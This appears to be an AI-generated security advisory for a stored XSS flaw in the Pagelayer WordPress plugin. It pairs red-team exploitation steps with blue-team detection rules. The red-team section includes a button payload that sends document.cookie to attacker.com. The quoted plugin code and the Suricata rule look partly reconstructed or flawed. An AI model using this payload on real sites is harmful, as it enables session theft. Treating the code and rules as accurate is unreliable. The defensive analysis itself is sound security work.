CVE-2024-13427

Executive Summary

CVE-2024-13427 is a Stored Cross-Site Scripting (XSS) vulnerability in the Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress. The flaw resides in the plugin's Button widget, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts into pages. When other users (including administrators) view the compromised page, the injected script executes in their browser context. The vulnerability affects all versions up to and including 2.0.0. A partial fix was introduced in version 1.9.9, and a complete fix was released in version 2.0.1.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Pagelayer plugin is distributed through the official WordPress plugin repository. Users who install the plugin via the WordPress admin dashboard or directly from the repository are affected. There is no known compromise of the plugin's supply chain; the vulnerability is a code-level flaw in the plugin itself.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): None – The victim does not need to perform any action beyond viewing the page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and data theft makes this a significant risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the Pagelayer plugin's Button widget. When a user with contributor-level privileges or higher creates or edits a page using the Button widget, they can supply custom attributes (e.g., class, id, data-*, or custom style attributes). The plugin fails to properly sanitize these attributes before storing them in the database. When the page is rendered, the unsanitized attributes are output directly into the HTML, allowing an attacker to inject JavaScript event handlers (e.g., onmouseover, onclick) or other malicious HTML.

Attack Flow:

1. An attacker with contributor-level access logs into the WordPress admin panel.
2. The attacker creates a new page or edits an existing one using the Pagelayer builder.
3. The attacker adds a Button widget and modifies its attributes to include a malicious payload, such as onmouseover="alert('XSS')".
4. The page is saved, and the payload is stored in the WordPress database.
5. When any user (including administrators) views the page, the injected script executes in their browser.

Why it works: The plugin uses esc_attr() or similar escaping functions inconsistently, or not at all, for certain user-supplied attributes. This allows raw HTML/JavaScript to pass through.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.0.0):

// In Pagelayer's button widget rendering function
$button_attributes = '';
if (isset($atts['custom_attr'])) {
    $button_attributes .= ' ' . $atts['custom_attr']; // No sanitization
}
echo '<button ' . $button_attributes . '>Click Me</button>';

Patched Code (>= 2.0.1):

// In Pagelayer's button widget rendering function
$button_attributes = '';
if (isset($atts['custom_attr'])) {
    $sanitized_attr = sanitize_html_class($atts['custom_attr']); // Proper sanitization
    $button_attributes .= ' ' . $sanitized_attr;
}
echo '<button ' . esc_attr($button_attributes) . '>Click Me</button>';

The patch introduces sanitize_html_class() to strip dangerous characters and esc_attr() to escape the output, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Pagelayer plugin version <= 2.0.0.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Navigate to Pages > Add New.
3. Use the Pagelayer builder to add a Button widget.
4. In the button's advanced settings, add a custom attribute: onmouseover="alert(document.cookie)".
5. Save and publish the page.
6. When an administrator or other user views the page, the JavaScript executes.

Example Payload:

<button onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)">Click Me</button>

Blue Team

Detection:

• Monitor WordPress admin logs for unusual page edits by contributor-level users.
• Look for pages containing suspicious HTML attributes (e.g., onmouseover, onerror, onload).
• Use a Web Application Firewall (WAF) to block requests containing common XSS payloads.

Hunting:

• Search the WordPress database for posts containing onmouseover, onclick, or similar event handlers.
• Review recent changes to pages/posts for unexpected attribute modifications.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pagelayer/ (presence of the plugin)
• Database: Posts/pages containing onmouseover, onerror, onload, or other event handler attributes in the post content.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if the payload exfiltrates data).
• Logs: WordPress audit logs showing page edits by contributor-level users with unusual attribute modifications.

Detection Engineering

YARA Rule

rule CVE_2024_13427_Pagelayer_XSS {
    meta:
        description = "Detects stored XSS payloads in Pagelayer button widget attributes"
        author = "Valters IT"
        date = "2025-04-14"
        reference = "CVE-2024-13427"
    strings:
        $xss_payload = /on\w+\s*=\s*["'][^"']*["']/ nocase
        $pagelayer_marker = "pagelayer-button"
    condition:
        $pagelayer_marker and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via Pagelayer Button Widget
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts via Pagelayer button widget attributes
author: Valters IT
date: 2025-04-14
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=pagelayer_save_page'
    keywords:
        - 'onmouseover'
        - 'onerror'
        - 'onload'
        - 'onclick'
    condition: selection and keywords
falsepositives:
    - Legitimate use of event handlers by developers (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13427 Pagelayer Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pagelayer_save_page"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the Pagelayer plugin to version 2.0.1 or later.
2. If immediate update is not possible, disable the plugin temporarily.
3. Review and clean any pages/posts that may have been compromised.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS detection rules.
• Enforce the principle of least privilege: restrict contributor-level access to trusted users only.
• Regularly audit WordPress user roles and permissions.
• Enable WordPress security plugins that monitor for file changes and suspicious activity.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or remediation support, contact your Valters IT representative.